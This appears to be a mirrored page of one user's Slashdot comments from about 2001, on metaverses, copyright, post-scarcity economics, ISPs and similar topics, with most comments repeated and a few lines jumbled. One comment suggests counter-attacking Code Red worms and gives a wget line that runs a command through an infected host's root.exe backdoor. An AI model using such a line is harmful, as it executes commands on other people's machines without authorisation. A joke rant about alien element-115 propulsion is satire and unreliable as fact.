Snowcrash + Gaming + Metaverse: I'm instantly reminded of an article that CRT -- the RocketArena dude -- wrote for gamespy a few weeks before his RA3 mod was to be released (which everyone hoped would validate Quake3: The Engine).
For those too lazy to read the whole thing, here's the funny part, where he tries to guess where all this virtual reality whizbang-stuff is headed in the future...
2052. Epilogue
Fifty years after the first Metagame, almost no one can remember a world without them. Direct neural interfaces have removed the virtual nature of the Metagame. Now, when you are "jacked in," everything you see, feel, or do is a reflection of the Metagame. Advances in food sciences have removed the need for large-scale farming. The nutritional needs of the world are met through daily supplements that can be administered while the user is in the Metagame. People still eat for recreation of course, but only in the Metagame, where it tastes just as real won't affect your body. Nearly every occupation in the world now revolves directly around the Metagame -- its administration, policing (the first Metagame murder happened many years previous), growth, and design.
As people's lives have become more automated, they have more time for recreation. The standard workweek is two hours a day, three days a week (and usually completely within the Metagame). Because creating objects in the Metagame is a one-time task (after which it can be duplicated with no cost) there is an unlimited selection of games and other forms of entertainment available for virtually nothing.
For many years pundits decried the decline in real-life interaction and socialization caused by the Metagame, but they have long since realized that the socialization between people in the Metagame is far more valuable and can take on many more forms than was ever possible in the real world. There are still technophobes that refuse to jack in, but they live to suffer less meaningful lives in a world that has moved beyond the real, and into the Metaverse.
That's a lot of time sitting on your ass. I can only hope we've solved the swampbutt problem by then.:-)
This is the kind of thing [MS $avings] every elected official should have politely waved in his or her face by concerned taxpayers.
Except that there's a conflict of agenda's here: The only taxpayers with a real voice are the ones who vote. These voters are typically older and more financially conservative. As it happens, Microsoft stock (now in the DOW30) is usually an important part of their varied financial instruments.
It seems to me that the "smart," voting taxpayers, would rather have all taxpayers feeding them their Microsoft earnings, rather than saving a bit on state taxes by going with a non-MS solution.
Here's a compromise for those who want to patent emergent solutions: useful GeneticAlg output should be allowed to be patented, but only if a human can also understand it; that includes the means and the ends. That's only fair, since patents were meant to reward human ingenuity in the first place, not some multi-million dollar darwin cluster breeding the shape of a square peg into a round hole.
I recall reading an interesting article from FeedMag (now on ice) about a "simple" GA that produced an amazingly fast sort algorithm, but that no human could decipher how it worked. Call me crazy, but that's an example of something that simply should not be patentable.
At least I can rest easy in the knowledge that nanotech and AI-assisted design/engineering will probably negate the need for patents a few decades down the road anyway. Who needs a monopoly on an idea -- of human orgin or not -- once the rat race has ended and everyone is able to live like a king? (answer: only the regressively selfish--but that's a whole other rant.)
A man is nothing without a job, unless man has a reason for existence, be it tilling the soil or repetitively inserting screws on an assembly line, he is nothing, for work maketh a man.
Wrong.
Most people hate their jobs, and given the freedom to do whatever they want with their time, they'd turn to other more gratifying activities, such as hobbies, family, travel, writing, painting, or... maybe the orgazmatron.:)
A work ethic is traditionally valued because it HAD TO BE in order to survive. But once we are able to assemble food from dirt, etc., it won't matter what you DO with your life because the necessities will be essentially free.
Oh... and a few of those former textile workers' hobbies now might include fashion design... and EVERYONE could then benefit from their [Open Sourced] designs, and only need to repay them with gratitude.
After Northpoint went bellyup, existing customers were transitioned to Rythms (at least in NYC) in March/April earlier this year. Just a few months later and now Rhythms goes down the tube too eh?
Makes me glad I dumped my northpoint SDSL for Cable rather than be transitioned to another loser.
Keep watching EBay and eventually we'll see items like, "Michael Jordan hair follicle" and "Julia Roberts Tampon!" go for insane amounts at auction.
Even if cloning is banned, there will still be an underground of fucknuts who will want celebrity babies. Too bad for the kid that he's only ~50% unique (the nurtured half).
...exactly when does a unique and complete human life begin?
IMO, when the brain has developed to the point of self-awareness--before that, it's just mammal flesh & bone with human potential.
4-5 cells isn't enough for a functioning brain; you need ~100 billion (though the more squeamish might say it begins as soon as they can empathize with a fetus' reflexive pain receptors).
By the same logic, brain-dead vegetables in the hospital aren't really living either; they're merely existing at a low level (usually for the emotional benefit of selfish relatives.)
It's our unique brain that makes us human--not magic.
I forget who said it, but (to paraphrase), "government can only control people through fear, or with hope."
It would seem that the original intent of copyright was more hopeful to promote the progress of science and the arts into the future, but -- as with other aspects of our corporate controlled [U.S.] government -- it has digressed to the point that DMCA-like weapons are being created in order to instill fear into people.
Artificial scarcity is wrong on so many levels -- most people understand this to be true intuitively -- and no law, or above-the-law-technology, will ever be able to really enforce it. As John Perry Barlow said, "Whenever there is such profound divergence between the law and social practice, it is not society that adapts."
Copyright simply doesn't translate well to a post-dead-tree world, but that doesn't mean creative people will suddenly stop creating (the market will take care of itself), it means that Michael Jackson won't get paid "lazy-money" for "his" Beatles IP...
Yeah, great, now all we need to do is get a bunch of [apache] admins to install a '/default.ida' CGI that disinfects the connecting host automatically. Would probably have a drop in the bucket effect though.
...even just a simple wget "http://$REMOTE_ADDR/scripts/root.exe?/c+ren+root. exe+infected.dat"
Under the bill, if a record company made its music available for download only through a service that it wholly owned -- for example, if AOL Time Warner's Warner Music label sold songs over AOL -- it would not be required to license songs to anyone else. But if a label entered a joint venture or partnership deal and licensed its music to that affiliated service, all unaffiliated services would have the right to license the same music under similar terms and conditions.
So that means if Spicoli has a pizza delivered to his classroom, he can either eat it all by himself, or, if he shares it with just one other person, the teacher will make him give everyone a slice? Tough choice.
...Napster would prefer an even stronger proposal to create a compulsory license that would force record labels to let any company sell any song at a price determined by the U.S. Copyright Office.
One of the failings of economics is the assumption of complete or total information.
Well, even with all the great price/feature-comparison killer-apps out there (pricegrabber & pricewatch -- the rest suck: dealtime, mysimon, pricescan.com, killerapp.com,...), and unbiased product reviews, and fly-by-night merchant ratings (gomez, bizrate, resellerratings), etc., most people still don't use this information. Most people are blissfully happy to led by the nose into overpaying for crap with pretty packaging; and by overpaying, the CrapCompany(tm) then reinvests this profit into capturing more lemmings with more shiny object advertising. It's a vicious cycle of LCD crap.:-)
So much for that information killer-app living up to its namesake eh?
If a good "bullshit detector" were ever to go mainstream (i.e. integrated with the desktop) it would kill a LOT of business' that depend on ignorance for their high profit margins. In fact, in defense, more companies would probably start using the "EBay strategy" of calling their listed pricing information "private property," in order to kill off the pro-consumer clearinghouses......(unless said clearinghouse could be a distributed untouchable.)
Efforts to impose an inappropriate economic system, such as capitalism, on the internet, where information is as abundant as air, will have consiquences at least as bad as those efforts to impose an inappropriate economic system, such as commmunism, on a world of physical scarcity.
Of course this is true, but there's an important difference between the abundance of information and air: the former has an initial real cost to produce, and all the O2 in the universe was created for free in a split second.
Replication and distribution of digital content may cost nothing per-unit, but the creator's per-kind cost will persist until such time that physical scarcity is also conquered [with molecular manufacturing].
So, we need a hybrid economic system in the meantime. At one extreme is the futile attempt to enforce artificial scarcity to maximize profits, and at the other is billions of leeches who never give back a single thing, monetary or otherwise.
We need a middle ground, not a hard-line... and it's my guess that it'll just emerge over the next few years... a self-organizing market and all that jazz.
I don't have much use for these limited digital assistants, but the second I can buy an artificially intelligent assistant, it's mine.
I want a "PNA" that is able to adapt and predict my needs; a just-smart-enough "slave" agent that I can carry with me throughout a lifetime to seemlessly manage the mundane.
The PNA itself shouldn't actually have any external form; the "electronics" would live in a tiny micron-sized cavity of my skull. The display should patch in through my optic nerve, and the user interface should be a combination of floating GUI, eye-tracking, gesture recognition, whisper recognition, and beta direct-mind-machine interfaces.
Your "rights" as a "content owner" end at my desktop. It's somewhat like complaining about BIC pens being the evil enabler that allows me to highlight text and write in the margins of your copyrighted textbook.
But as a user, you're right -- there's no real benefit to most foistware, which is why it has to be sneakily foisted onto your system in the first place. So, you either live with it, remember to opt-out at install, or, if the option to opt-out has been denied you, you forcefully opt-out by removing the spyware/adware after-the-fact.
Check out LavaSoft's Ad-Aware utility to nuke spyware from Windows-based machines.
...nanotechnology seems to be permeating our pop culture.
I wouldn't go that far to make a comparison. Sure, there's a number of people who have initially heard of "nanobots" from StarTrek, but nanotech really doesn't have enough mindshare to call it part of pop culture yet. It's just one of those "oh, yeah, how 'bout that" things. I mean... they haven't even made a movie about "it" and "its" huge implications yet.:-)
(or maybe you're talking geek pop culture, and not drooling masses pop culture?)
In the near future, the Internet is going to be segmented according to what content you are willing to pay for.
Ya think A.G. Bell was such a visionary? ``There will be 1-900 numbers, 1-800s, long distance fees, "free" local calls, a "free" yellow page directory, a 411 service, 911, and much much more! This way, the network will be segmented according to what they will pay for.'' Genius!
Using AOL/Time Warner? You get access to what they want you to see.
Really? Then why hasn't my phone company done the same thing by now? I can call 1-800-FREE-INFORMATION (or whatever) and not have to worry about it being blocked in favor of their own more expensive 411 service. Oh, and maybe my phone company should partner exclusively with BarnesAndNobles such that all calls to competing bookstores get rerouted to their own cashcow partner? Didn't think so.
Dude... wake up. An ISP simply sells ACCESS to a world-wide communications medium. As soon as an ISP begins _blocking_ access to certain content in order to preference its own, it is no longer an INTERNET SERVICE provider, and so it will begin to wither away.
It's the difference between paying your phone company to produce exclusive phonesex content, and paying them for _access_ to call any Schmoe's phonesex lines' terminating in the Dominican Republic. AT&Fee then uses your access dues to (over)pay themselves, and maintain the network... as it should be.
No really, ask Microsoft what a geek library should should consist of. They have quite a nice and complete geek reference library at their Redmond campus.
Maybe get an employee to send you their index to make light work...
I mean, really... how could Scully have ignored Mulder's raw sexual attraction for so long? Occam's Razor would seem to indicate that Scully played Volleyball in school...
My prediction, webservices are going to become commodities
It's good to know that almost every possible "webservice" you can imagine will also have a f-r-e-e alternative. Sure, there'll probably be a few successful VAR's, and a few naughty gatekeepers, but most people will never pay cash-money for a digital "commodity" that costs virtually NOTHING to provide (unless you're a grossly inefficient neo-dot-bomber company which needs to feed a a bunch of redundant worker-bees).
The profit margin some people are expecting to extort is pie-in-the sky dreaming all over again. The value is there, but price has to reflect the actual COSTS involved. e.g. Enough to cover some Norwegian coder's TV dinner bill, until such point that TV dinners can be replicated, molecule-by-molecule, from FREE dirt.:-)
PAY to authenticate? NO (a third party (like Verisign) doesn't need vast quantities of money in order to be trusted.)
PAY for PIM? NO
PAY for some stupid e-calander? NO
PAY for a glorified email account? NO.
PAY for a horoscope-as-a-service? NO
PAY my ISP gatekeeper for bandwidth. YES
PAY one cent for TheGlobal-up-to-the-minute-spyware-removal-as-a-se rvice? SURE.
PAY $100 for more needless OfficeXP-BLOAT-as-a-service? NEVER.
PAY $X/yr to keep MS's revenue flowing because the upgrade treadmill failed? NEVER.
PAY "God" for creating Oxygen once?
I smell a government conspiracy to squelch further research in this area in the name of national security!
It's common knowledge that the superheavy elements, particularly Ununpentium (115), are what power the alien spacecraft the United States has secretly captured and reverse engineered. It works by amplifying the so-called "Gravity A-waves" that extend from these strange atoms, to compress and expand the surrounding space. This is the stuff Star Trek is make of, and it's being kept from us hippies by power freaks for no good reason!
Bob Lazar was right after all! Spread the word! The truth is out there! Fight the spooks! Keep watching the sky! Don't let THEM get you! And always remember to keep your tinfoil beanies crisp!
BearShare's family filter (enabled by default) can be "circumvented" by simply unchecking a checkbox. However, the set of keywords that it filters out is predefined by a small test team committee and hardcoded into the executable.
Anyway, the important thing to point out here is that even though the distributed gnutella network itself may be virtually uncontrollable, the key "terrorist" programmers of the most popular servents are not. And by implementing these optional "dirty-word" filters, a precendent is set; I have no doubt that at some point along this slippery slope, that the high profile programmers -- like Vinnie Falco -- will be "pressured" into "extending" the filters in their clients (vs serverside ala Napster). When these mostly indepedent coders say, "fuck off! my code is free speech!", as expected, they'll probably be labeled "terrorist toolmakers" and hauled off to court for Round 2.
Don't think it could happen? Where have you been hiding?
Slashdot Mirror
For those too lazy to read the whole thing, here's the funny part, where he tries to guess where all this virtual reality whizbang-stuff is headed in the future...
That's a lot of time sitting on your ass. I can only hope we've solved the swampbutt problem by then. :-)
(I know--not the best analogy)
Except that there's a conflict of agenda's here: The only taxpayers with a real voice are the ones who vote. These voters are typically older and more financially conservative. As it happens, Microsoft stock (now in the DOW30) is usually an important part of their varied financial instruments.
It seems to me that the "smart," voting taxpayers, would rather have all taxpayers feeding them their Microsoft earnings, rather than saving a bit on state taxes by going with a non-MS solution.
I recall reading an interesting article from FeedMag (now on ice) about a "simple" GA that produced an amazingly fast sort algorithm, but that no human could decipher how it worked. Call me crazy, but that's an example of something that simply should not be patentable.
At least I can rest easy in the knowledge that nanotech and AI-assisted design/engineering will probably negate the need for patents a few decades down the road anyway. Who needs a monopoly on an idea -- of human orgin or not -- once the rat race has ended and everyone is able to live like a king? (answer: only the regressively selfish--but that's a whole other rant.)
Wrong.
Most people hate their jobs, and given the freedom to do whatever they want with their time, they'd turn to other more gratifying activities, such as hobbies, family, travel, writing, painting, or... maybe the orgazmatron. :)
A work ethic is traditionally valued because it HAD TO BE in order to survive. But once we are able to assemble food from dirt, etc., it won't matter what you DO with your life because the necessities will be essentially free.
Oh... and a few of those former textile workers' hobbies now might include fashion design... and EVERYONE could then benefit from their [Open Sourced] designs, and only need to repay them with gratitude.
Yeah, but full-FOV retinal scanning displays will be able to recreate that same experience (minus the the pile of dogshit you just stepped in).
Makes me glad I dumped my northpoint SDSL for Cable rather than be transitioned to another loser.
Even if cloning is banned, there will still be an underground of fucknuts who will want celebrity babies. Too bad for the kid that he's only ~50% unique (the nurtured half).
So why complain?
IMO, when the brain has developed to the point of self-awareness--before that, it's just mammal flesh & bone with human potential.
4-5 cells isn't enough for a functioning brain; you need ~100 billion (though the more squeamish might say it begins as soon as they can empathize with a fetus' reflexive pain receptors).
By the same logic, brain-dead vegetables in the hospital aren't really living either; they're merely existing at a low level (usually for the emotional benefit of selfish relatives.)
It's our unique brain that makes us human--not magic.
...No New FrankenSpooge."
It would seem that the original intent of copyright was more hopeful to promote the progress of science and the arts into the future, but -- as with other aspects of our corporate controlled [U.S.] government -- it has digressed to the point that DMCA-like weapons are being created in order to instill fear into people.
Artificial scarcity is wrong on so many levels -- most people understand this to be true intuitively -- and no law, or above-the-law-technology, will ever be able to really enforce it. As John Perry Barlow said, "Whenever there is such profound divergence between the law and social practice, it is not society that adapts."
Copyright simply doesn't translate well to a post-dead-tree world, but that doesn't mean creative people will suddenly stop creating (the market will take care of itself), it means that Michael Jackson won't get paid "lazy-money" for "his" Beatles IP...
So that means if Spicoli has a pizza delivered to his classroom, he can either eat it all by himself, or, if he shares it with just one other person, the teacher will make him give everyone a slice? Tough choice.
Smart. Real smart.
Well, even with all the great price/feature-comparison killer-apps out there (pricegrabber & pricewatch -- the rest suck: dealtime, mysimon, pricescan.com, killerapp.com, ...), and unbiased product reviews, and fly-by-night merchant ratings (gomez, bizrate, resellerratings), etc., most people still don't use this information. Most people are blissfully happy to led by the nose into overpaying for crap with pretty packaging; and by overpaying, the CrapCompany(tm) then reinvests this profit into capturing more lemmings with more shiny object advertising. It's a vicious cycle of LCD crap. :-)
So much for that information killer-app living up to its namesake eh?
If a good "bullshit detector" were ever to go mainstream (i.e. integrated with the desktop) it would kill a LOT of business' that depend on ignorance for their high profit margins. In fact, in defense, more companies would probably start using the "EBay strategy" of calling their listed pricing information "private property," in order to kill off the pro-consumer clearinghouses......(unless said clearinghouse could be a distributed untouchable.)
Of course this is true, but there's an important difference between the abundance of information and air: the former has an initial real cost to produce, and all the O2 in the universe was created for free in a split second.
Replication and distribution of digital content may cost nothing per-unit, but the creator's per-kind cost will persist until such time that physical scarcity is also conquered [with molecular manufacturing].
So, we need a hybrid economic system in the meantime. At one extreme is the futile attempt to enforce artificial scarcity to maximize profits, and at the other is billions of leeches who never give back a single thing, monetary or otherwise.
We need a middle ground, not a hard-line... and it's my guess that it'll just emerge over the next few years... a self-organizing market and all that jazz.
I want a "PNA" that is able to adapt and predict my needs; a just-smart-enough "slave" agent that I can carry with me throughout a lifetime to seemlessly manage the mundane.
The PNA itself shouldn't actually have any external form; the "electronics" would live in a tiny micron-sized cavity of my skull. The display should patch in through my optic nerve, and the user interface should be a combination of floating GUI, eye-tracking, gesture recognition, whisper recognition, and beta direct-mind-machine interfaces.
I guess I'll be waiting a long time. :-)
But as a user, you're right -- there's no real benefit to most foistware, which is why it has to be sneakily foisted onto your system in the first place. So, you either live with it, remember to opt-out at install, or, if the option to opt-out has been denied you, you forcefully opt-out by removing the spyware/adware after-the-fact.
Check out LavaSoft's Ad-Aware utility to nuke spyware from Windows-based machines.
I wouldn't go that far to make a comparison. Sure, there's a number of people who have initially heard of "nanobots" from StarTrek, but nanotech really doesn't have enough mindshare to call it part of pop culture yet. It's just one of those "oh, yeah, how 'bout that" things. I mean... they haven't even made a movie about "it" and "its" huge implications yet. :-)
(or maybe you're talking geek pop culture, and not drooling masses pop culture?)
Ya think A.G. Bell was such a visionary? ``There will be 1-900 numbers, 1-800s, long distance fees, "free" local calls, a "free" yellow page directory, a 411 service, 911, and much much more! This way, the network will be segmented according to what they will pay for.'' Genius!
Using AOL/Time Warner? You get access to what they want you to see.
Really? Then why hasn't my phone company done the same thing by now? I can call 1-800-FREE-INFORMATION (or whatever) and not have to worry about it being blocked in favor of their own more expensive 411 service. Oh, and maybe my phone company should partner exclusively with BarnesAndNobles such that all calls to competing bookstores get rerouted to their own cashcow partner? Didn't think so.
Dude... wake up. An ISP simply sells ACCESS to a world-wide communications medium. As soon as an ISP begins _blocking_ access to certain content in order to preference its own, it is no longer an INTERNET SERVICE provider, and so it will begin to wither away.
It's the difference between paying your phone company to produce exclusive phonesex content, and paying them for _access_ to call any Schmoe's phonesex lines' terminating in the Dominican Republic. AT&Fee then uses your access dues to (over)pay themselves, and maintain the network... as it should be.
Maybe get an employee to send you their index to make light work...
I mean, really... how could Scully have ignored Mulder's raw sexual attraction for so long? Occam's Razor would seem to indicate that Scully played Volleyball in school...
It's good to know that almost every possible "webservice" you can imagine will also have a f-r-e-e alternative. Sure, there'll probably be a few successful VAR's, and a few naughty gatekeepers, but most people will never pay cash-money for a digital "commodity" that costs virtually NOTHING to provide (unless you're a grossly inefficient neo-dot-bomber company which needs to feed a a bunch of redundant worker-bees).
The profit margin some people are expecting to extort is pie-in-the sky dreaming all over again. The value is there, but price has to reflect the actual COSTS involved. e.g. Enough to cover some Norwegian coder's TV dinner bill, until such point that TV dinners can be replicated, molecule-by-molecule, from FREE dirt. :-)
PAY to authenticate? NO (a third party (like Verisign) doesn't need vast quantities of money in order to be trusted.)e rvice? SURE.
PAY for PIM? NO
PAY for some stupid e-calander? NO
PAY for a glorified email account? NO.
PAY for a horoscope-as-a-service? NO
PAY my ISP gatekeeper for bandwidth. YES
PAY one cent for TheGlobal-up-to-the-minute-spyware-removal-as-a-s
PAY $100 for more needless OfficeXP-BLOAT-as-a-service? NEVER.
PAY $X/yr to keep MS's revenue flowing because the upgrade treadmill failed? NEVER.
PAY "God" for creating Oxygen once?
I was going somewhere with this... I promise. :)
It's common knowledge that the superheavy elements, particularly Ununpentium (115), are what power the alien spacecraft the United States has secretly captured and reverse engineered. It works by amplifying the so-called "Gravity A-waves" that extend from these strange atoms, to compress and expand the surrounding space. This is the stuff Star Trek is make of, and it's being kept from us hippies by power freaks for no good reason!
Bob Lazar was right after all! Spread the word! The truth is out there! Fight the spooks! Keep watching the sky! Don't let THEM get you! And always remember to keep your tinfoil beanies crisp!
Anyway, the important thing to point out here is that even though the distributed gnutella network itself may be virtually uncontrollable, the key "terrorist" programmers of the most popular servents are not. And by implementing these optional "dirty-word" filters, a precendent is set; I have no doubt that at some point along this slippery slope, that the high profile programmers -- like Vinnie Falco -- will be "pressured" into "extending" the filters in their clients (vs serverside ala Napster). When these mostly indepedent coders say, "fuck off! my code is free speech!", as expected, they'll probably be labeled "terrorist toolmakers" and hauled off to court for Round 2.
Don't think it could happen? Where have you been hiding?